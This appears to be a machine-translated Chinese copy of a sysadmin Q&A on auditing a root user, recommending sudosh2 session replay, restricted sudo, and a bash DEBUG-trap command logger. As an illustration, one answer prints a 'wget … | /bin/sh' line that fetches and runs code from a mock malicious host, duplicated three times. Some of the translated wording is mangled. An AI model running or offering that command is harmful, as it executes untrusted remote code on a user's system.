logging从根执行的每个命令

我想给我的根服务器访问外部系统pipe理员,但我想确保仔细检查他在做什么,我的服务器,例如复制数据,我不希望他们这样做。 我也想跟踪任何文件被访问,即使在只读而不是编辑。

我怎样才能做到这一点?

信任但要validation!

检查出sudosh2 。 sudosh2由FreeBSD端口提供。 软件包可用于RedHat和Ubuntu。 以下是他们网站的描述:

sudosh是一个审计shellfilter,可以用作loginshell。 Sudoshlogging所有击键和输出,并且可以像录像机一样回放会话。

Sudosh将允许你重播用户的会话,这将允许你看到所有的input输出,用户看到它。 你可以看到所有的东西,键盘input,拼写错误,退格键,他们在vi编辑了什么, wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh的输出wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh

可以将sudosh日志发送到系统日志,以便将它们存储在远离系统的中央系统日志服务器上。

请注意,sudosh2是sudosh的替代品,被作者放弃了

你是否在一个用户坚持拥有超级用户权限的学术机构工作? 或者你在一个公司工作,并希望允许用户在自己的虚拟机上拥有超级用户权限? 这可能是你的解决scheme。

不要给他root权限。 相反,给他一个没有权限的用户帐号,并要求他通过sudo完成所有的工作,这将logging他所有的命令。

请记住,如果这个人有不良的意图,并且给了他全部的sudo权限,他find一种方法来执行那些不logging这些命令的不良意图。 在这种情况下,只允许他访问他需要执行的具体命令。

我对sudosh2并不熟悉,但是我在.bashrc放入以下内容,将我在bash shell中input的所有命令logging到~/.command_log文件中:

 # log every command typed and when if [ -n "${BASH_VERSION}" ]; then trap "caller >/dev/null || \ printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\ \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG fi 

上面设置了一个DEBUG的陷阱,它是在一个普通命令执行之前执行的。 内置的caller用于testing命令是在交互式shell中input还是通过类似.bashrc运行。 值${BASH_COMMAND}包含当前正在执行的命令。